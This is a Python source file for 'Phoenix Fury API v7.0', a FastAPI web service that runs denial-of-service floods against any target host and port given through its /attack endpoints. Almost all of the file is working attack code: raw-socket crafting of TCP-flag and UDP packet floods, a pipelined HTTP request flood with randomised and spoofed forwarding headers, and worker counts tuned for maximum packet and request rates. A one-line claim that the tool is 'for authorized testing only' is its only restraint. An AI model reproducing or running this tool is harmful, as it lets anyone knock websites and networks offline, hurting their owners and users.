import socket import struct import random import time import multiprocessing import threading import asyncio import aiohttp import os import sys import psutil import ssl from typing import Literal, List, Union from ctypes import c_ulonglong # Use uvloop for a significant performance boost try: import uvloop asyncio.set_event_loop_policy(uvloop.EventLoopPolicy()) except ImportError: pass from fastapi import FastAPI, HTTPException, BackgroundTasks from pydantic import BaseModel, Field import uvicorn # --- Application Setup --- app = FastAPI( title="šŸ”„ Phoenix Fury API v7.0 - MAXIMUM POWER Edition", description="Extreme stress testing tool with auto-optimized settings for maximum RPS/PPS. For authorized testing only.", version="7.0.0" ) # --- Auto-Optimized Configuration --- CPU_COUNT = psutil.cpu_count(logical=True) or 8 TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3) # ULTRA-SIMPLE CONFIG - No threading, pure multiprocessing # Each process creates many sockets in a tight loop def calculate_optimal_config(): """Calculate processes only - no threads!""" # Simple: Lots of processes, each managing socket pool if CPU_COUNT >= 32: MAX_PROCESSES = CPU_COUNT * 16 # 512 processes for 32 cores elif CPU_COUNT >= 16: MAX_PROCESSES = CPU_COUNT * 20 # 320 processes for 16 cores elif CPU_COUNT >= 8: MAX_PROCESSES = CPU_COUNT * 32 # 256 processes for 8 cores elif CPU_COUNT >= 4: MAX_PROCESSES = CPU_COUNT * 48 # 192 processes for 4 cores else: MAX_PROCESSES = CPU_COUNT * 64 # 128 processes for 2 cores SOCKETS_PER_PROCESS = 100 # Each process manages 100 persistent sockets total_workers = MAX_PROCESSES * SOCKETS_PER_PROCESS return MAX_PROCESSES, SOCKETS_PER_PROCESS, total_workers MAX_PROCESSES, MAX_CONCURRENCY_PER_PROCESS, TOTAL_WORKERS = calculate_optimal_config() STATS_BATCH_UPDATE_SIZE = 1000 # Large batches # --- L7 Enhanced Headers Pool --- USER_AGENTS = [ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/121.0.0.0 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/121.0.0.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0", "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 Safari/604.1" ] REFERERS = [ "https://www.google.com/search?q=", "https://www.bing.com/search?q=", "https://www.facebook.com/", "https://www.twitter.com/", "https://www.reddit.com/", "https://www.youtube.com/" ] def get_random_headers() -> dict: """Generates randomized headers with IP spoofing for L7 attacks.""" return { "User-Agent": random.choice(USER_AGENTS), "Referer": random.choice(REFERERS) + str(random.randint(1000, 9999)), "X-Forwarded-For": f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}", "X-Real-IP": f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.9", "Accept-Encoding": "gzip, deflate, br", "Cache-Control": "no-cache", "Pragma": "no-cache" } # ==================================================================================== # Pydantic API Models (Simplified - Auto Max Settings) # ==================================================================================== class BaseAttackConfig(BaseModel): target: str = Field(..., description="Target hostname or IP address") port: int = Field(..., ge=1, le=65535, description="Target port") duration: int = Field(60, ge=10, le=7200, description="Attack duration in seconds") class L4TCPConfig(BaseAttackConfig): method: Literal["syn", "ack", "fin", "rst", "psh", "urg"] = Field("syn", description="TCP flag for the attack") class L4UDPConfig(BaseAttackConfig): method: Literal["flood", "pps"] = Field("flood", description="'flood' for large packets, 'pps' for minimal packets") payload_size: int = Field(1400, ge=0, le=1472, description="Size of UDP payload. 0 for PPS mode.") class L7Config(BaseAttackConfig): method: Literal["get", "post", "head"] = Field("get", description="HTTP method.") path: str = Field("/", description="Request path") class StatusResponse(BaseModel): attack_active: bool attack_type: str target_host: str target_ip: str port: int duration: int elapsed_time: float processes: int total_sent: int current_rate_pps_rps: float cpu_usage_percent: float memory_usage_percent: float # ==================================================================================== # CORE NETWORKING & PACKET CRAFTING # ==================================================================================== def check_root() -> bool: """Check if running with root/admin privileges.""" try: return os.geteuid() == 0 except AttributeError: import ctypes return ctypes.windll.shell32.IsUserAnAdmin() != 0 def resolve_target(target: str) -> str: """Resolve hostname to IP address.""" try: if "://" in target: target = target.split("://")[1].split("/")[0] return socket.gethostbyname(target) except socket.gaierror: raise ValueError(f"Could not resolve hostname: {target}") def get_local_ip(target_ip: str) -> str: """Get local IP address that routes to target.""" try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect((target_ip, 1)) ip = s.getsockname()[0] s.close() return ip except: return "127.0.0.1" def calculate_checksum(data: bytes) -> int: """Calculate IP/TCP/UDP checksum.""" s = 0 if len(data) % 2: data += b'\0' for i in range(0, len(data), 2): s += (data[i] << 8) + data[i+1] s = (s >> 16) + (s & 0xffff) s += (s >> 16) return (~s) & 0xffff def create_ip_header(src_ip: str, dst_ip: str, proto: int, total_len: int) -> bytes: """Create IP header.""" header = struct.pack('!BBHHHBBH4s4s', (4 << 4) | 5, 0, total_len, random.randint(1, 65535), 0, 64, proto, 0, socket.inet_aton(src_ip), socket.inet_aton(dst_ip) ) return header[:10] + struct.pack('!H', calculate_checksum(header)) + header[12:] def create_tcp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, flags: int) -> bytes: """Create TCP header with specified flags.""" seq = random.randint(1, 4294967295) ack_seq = 0 header = struct.pack('!HHLLBBHHH', src_port, dst_port, seq, ack_seq, (5 << 4), flags, 5840, 0, 0) pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, socket.IPPROTO_TCP, len(header)) checksum = calculate_checksum(pseudo_header + header) return header[:16] + struct.pack('!H', checksum) + header[18:] def create_udp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, payload: bytes) -> bytes: """Create UDP header.""" udp_len = 8 + len(payload) header = struct.pack('!HHHH', src_port, dst_port, udp_len, 0) pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, socket.IPPROTO_UDP, udp_len) checksum = calculate_checksum(pseudo_header + header + payload) return header[:6] + struct.pack('!H', checksum) # ==================================================================================== # OPTIMIZED L4 WORKER PROCESS # ==================================================================================== def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type, method_details): """Ultra-optimized L4 worker with raw sockets.""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # Increase socket buffer for higher throughput sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1024 * 1024) local_ip = get_local_ip(target_ip) except Exception as e: print(f"[PID {os.getpid()}] L4 Worker Init Error: {e}", file=sys.stderr) return local_counter = 0 flag_map = {"syn": 2, "ack": 16, "fin": 1, "rst": 4, "psh": 8, "urg": 32} # Pre-generate payloads for UDP if attack_type == 'udp': if method_details == 'pps' or method_details == 0: payload = b'' else: payload = os.urandom(method_details) udp_len = 8 + len(payload) # Packet crafting loop - optimized for speed while not stop_event.is_set(): try: src_port = random.randint(10000, 65535) if attack_type == 'tcp': ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_TCP, 40) tcp_header = create_tcp_header(local_ip, target_ip, src_port, port, flag_map.get(method_details, 2)) packet = ip_header + tcp_header else: # udp ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_UDP, 20 + udp_len) udp_header = create_udp_header(local_ip, target_ip, src_port, port, payload) packet = ip_header + udp_header + payload sock.sendto(packet, (target_ip, port)) local_counter += 1 # Batch counter updates for performance if local_counter >= STATS_BATCH_UPDATE_SIZE: with shared_counter.get_lock(): shared_counter.value += local_counter local_counter = 0 except: pass # Ignore errors for maximum speed # Final counter update if local_counter > 0: with shared_counter.get_lock(): shared_counter.value += local_counter sock.close() # ==================================================================================== # SIMPLE L7 WORKER - BLOCKING SOCKETS THAT ACTUALLY WORK! # ==================================================================================== def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, socket_count): """L7 worker - SIMPLE APPROACH: Create socket, send burst, repeat.""" use_ssl = (port in [443, 8443]) host = target_ip # Pre-build HTTP request template http_template = f"GET {path}?_={{}} HTTP/1.1\r\nHost: {host}\r\nUser-Agent: Mozilla/5.0\r\nConnection: keep-alive\r\n\r\n" local_counter = 0 req_counter = 0 print(f"[PID {os.getpid()}] Worker started - targeting {host}:{port}", flush=True) # SIMPLE LOOP: Connect, send many requests, disconnect, repeat while not stop_event.is_set(): sock = None try: # Create and connect socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) sock.settimeout(5) sock.connect((host, port)) if use_ssl: import ssl as ssl_module context = ssl_module.create_default_context() context.check_hostname = False context.verify_mode = ssl_module.CERT_NONE sock = context.wrap_socket(sock, server_hostname=host) # Send burst of requests (pipeline) for _ in range(200): # 200 requests per connection if stop_event.is_set(): break try: request = http_template.format(req_counter).encode() sock.sendall(request) local_counter += 1 req_counter += 1 except: break # Try to read response try: sock.settimeout(0.1) _ = sock.recv(8192) except: pass sock.close() except Exception as e: pass finally: if sock: try: sock.close() except: pass # Update counter in batches if local_counter >= STATS_BATCH_UPDATE_SIZE: with shared_counter.get_lock(): shared_counter.value += local_counter local_counter = 0 # Final update if local_counter > 0: with shared_counter.get_lock(): shared_counter.value += local_counter print(f"[PID {os.getpid()}] Worker stopped - sent {local_counter} requests", flush=True) # ==================================================================================== # CENTRALIZED ATTACK MANAGER (SINGLETON) # ==================================================================================== class AttackManager: """Singleton manager for all attacks.""" _instance = None def __new__(cls): if cls._instance is None: cls._instance = super(AttackManager, cls).__new__(cls) cls._instance._initialized = False return cls._instance def __init__(self): if self._initialized: return self._initialized = True self.lock = threading.Lock() self.stats_thread = None self._reset_state() def _reset_state(self): """Reset all attack state.""" self.attack_active = False self.attack_type = "None" self.target_host = "None" self.target_ip = "None" self.port = 0 self.duration = 0 self.start_time = 0.0 self.process_count = 0 self.processes: List[multiprocessing.Process] = [] self.stop_event = multiprocessing.Event() self.counter = multiprocessing.Value(c_ulonglong, 0) self.current_rate = 0.0 def is_active(self): """Check if an attack is currently active.""" with self.lock: return self.attack_active def _stats_calculator(self): """Background thread to calculate current rate.""" last_check_time = time.time() last_count = 0 while not self.stop_event.is_set(): time.sleep(1) now = time.time() current_count = self.counter.value elapsed = now - last_check_time if elapsed > 0: self.current_rate = (current_count - last_count) / elapsed last_check_time = now last_count = current_count self.current_rate = 0.0 def start(self, config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str): """Start an attack with auto-optimized settings.""" with self.lock: if self.attack_active: return try: self.target_host = config.target self.target_ip = resolve_target(self.target_host) if family == 'l4' and not check_root(): raise PermissionError("Layer 4 attacks require root privileges.") except (ValueError, PermissionError) as e: print(f"Attack validation failed: {e}", file=sys.stderr) self._reset_state() return self.attack_active = True self.port = config.port self.duration = config.duration self.process_count = MAX_PROCESSES # AUTO MAX self.start_time = time.time() worker_target, worker_args, attack_name = (None, None, "Unknown") if family == 'l7' and isinstance(config, L7Config): attack_name = f"L7-{config.method.upper()}" worker_target = l7_worker_process worker_args = ( self.stop_event, self.counter, self.target_ip, config.port, config.path, config.method, MAX_CONCURRENCY_PER_PROCESS # AUTO MAX ) elif family == 'l4': worker_target = l4_worker_process if isinstance(config, L4TCPConfig): attack_name = f"L4-TCP-{config.method.upper()}" worker_args = ( self.stop_event, self.counter, self.target_ip, config.port, 'tcp', config.method ) elif isinstance(config, L4UDPConfig): attack_name = f"L4-UDP-{config.method.upper()}" worker_args = ( self.stop_event, self.counter, self.target_ip, config.port, 'udp', config.method if config.method == 'pps' else config.payload_size ) self.attack_type = attack_name print("=" * 70) print(f"šŸ”„ PHOENIX FURY MAXIMUM POWER - ATTACK INITIATED šŸ”„") print(f" Type: {self.attack_type}") print(f" Target: {self.target_host}:{self.port} ({self.target_ip})") print(f" Duration: {self.duration}s") print(f" Processes: {self.process_count} (AUTO MAX)") if family == 'l7': print(f" Concurrency per Process: {MAX_CONCURRENCY_PER_PROCESS}") print(f" Total Concurrent Tasks: {self.process_count * MAX_CONCURRENCY_PER_PROCESS:,}") print("=" * 70) # Launch all worker processes for _ in range(self.process_count): p = multiprocessing.Process(target=worker_target, args=worker_args) self.processes.append(p) p.start() # Start stats calculator self.stats_thread = threading.Thread(target=self._stats_calculator) self.stats_thread.start() def stop(self): """Stop the current attack.""" with self.lock: if not self.attack_active: return print(f"\nāš ļø Stop signal received. Terminating {len(self.processes)} processes...") self.stop_event.set() # Wait for processes to finish for p in self.processes: p.join(timeout=5) # Force terminate hanging processes for p in self.processes: if p.is_alive(): print(f"Terminating hanging process PID: {p.pid}") p.terminate() # Stop stats thread if self.stats_thread: self.stats_thread.join(timeout=2) # Calculate final stats elapsed = time.time() - self.start_time total_sent = self.counter.value avg_rate = total_sent / elapsed if elapsed > 0 else 0 print("=" * 50) print("āœ… ATTACK TERMINATED") print(f" Total Sent: {total_sent:,}") print(f" Elapsed Time: {elapsed:.2f}s") print(f" Average Rate: {avg_rate:,.2f} PPS/RPS") print("=" * 50) self._reset_state() def get_status(self) -> StatusResponse: """Get current attack status.""" with self.lock: return StatusResponse( attack_active=self.attack_active, attack_type=self.attack_type, target_host=self.target_host, target_ip=self.target_ip, port=self.port, duration=self.duration, elapsed_time=round(time.time() - self.start_time, 2) if self.attack_active else 0, processes=self.process_count, total_sent=self.counter.value, current_rate_pps_rps=round(self.current_rate, 2), cpu_usage_percent=psutil.cpu_percent(), memory_usage_percent=psutil.virtual_memory().percent ) MANAGER = AttackManager() # ==================================================================================== # FASTAPI ENDPOINTS # ==================================================================================== @app.on_event("startup") async def on_startup(): """Startup message with system info.""" print("=" * 80) print("šŸ”„ Phoenix Fury API v7.0 - EXTREME PERFORMANCE Edition") print(f" System Auto-Detected:") print(f" CPU Cores: {CPU_COUNT}") print(f" RAM: {TOTAL_RAM_GB:.1f} GB") print(f" ") print(f" Auto-Optimized Configuration:") print(f" Processes: {MAX_PROCESSES}") print(f" Sockets per Process: {MAX_CONCURRENCY_PER_PROCESS:,}") print(f" Total Concurrent Sockets: {TOTAL_WORKERS:,}") print(f" ") print(f" Expected Performance:") print(f" Target RPS: {int(TOTAL_WORKERS * 1.5):,} - {int(TOTAL_WORKERS * 3):,}") print(f" ") if check_root(): print("āœ… Running with root privileges - L4 attacks ENABLED") else: print("āš ļø WARNING: Not root - L4 attacks will FAIL") print("=" * 80) def run_attack_lifecycle(config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str, background_tasks: BackgroundTasks): """Run attack lifecycle in background.""" if MANAGER.is_active(): raise HTTPException(status_code=409, detail="An attack is already in progress.") background_tasks.add_task(MANAGER.start, config, family) background_tasks.add_task(time.sleep, config.duration) background_tasks.add_task(MANAGER.stop) @app.post("/attack/layer7") def api_start_l7(config: L7Config, background_tasks: BackgroundTasks): """Start L7 attack with auto-optimized settings.""" run_attack_lifecycle(config, 'l7', background_tasks) return { "status": "success", "message": f"L7 attack initiated on {config.target}:{config.port}", "processes": MAX_PROCESSES, "concurrency_per_process": MAX_CONCURRENCY_PER_PROCESS, "total_workers": MAX_PROCESSES * MAX_CONCURRENCY_PER_PROCESS } @app.post("/attack/layer4/tcp") def api_start_l4_tcp(config: L4TCPConfig, background_tasks: BackgroundTasks): """Start L4 TCP attack with auto-optimized settings.""" run_attack_lifecycle(config, 'l4', background_tasks) return { "status": "success", "message": f"L4 TCP {config.method.upper()} attack initiated on {config.target}:{config.port}", "processes": MAX_PROCESSES } @app.post("/attack/layer4/udp") def api_start_l4_udp(config: L4UDPConfig, background_tasks: BackgroundTasks): """Start L4 UDP attack with auto-optimized settings.""" run_attack_lifecycle(config, 'l4', background_tasks) return { "status": "success", "message": f"L4 UDP {config.method.upper()} attack initiated on {config.target}:{config.port}", "processes": MAX_PROCESSES } @app.post("/attack/stop") def api_stop_attack(): """Stop the current attack.""" if not MANAGER.is_active(): return {"status": "info", "message": "No attack is currently running."} MANAGER.stop() return {"status": "success", "message": "Stop signal sent."} @app.get("/status", response_model=StatusResponse) def get_status(): """Get current attack status and system metrics.""" return MANAGER.get_status() @app.get("/") def root(): """Root endpoint with API info.""" return { "message": "šŸ”„ Phoenix Fury API v7.0 - MAXIMUM POWER Edition", "docs": "/docs", "system": { "cpu_cores": CPU_COUNT, "ram_gb": round(TOTAL_RAM_GB, 1), "max_processes": MAX_PROCESSES, "sockets_per_process": MAX_CONCURRENCY_PER_PROCESS, "total_sockets": TOTAL_WORKERS, "expected_rps": f"{int(TOTAL_WORKERS * 1.5):,} - {int(TOTAL_WORKERS * 3):,}" } } # --- Main Execution --- if __name__ == "__main__": multiprocessing.freeze_support() uvicorn.run(app, host="0.0.0.0", port=8000, workers=1)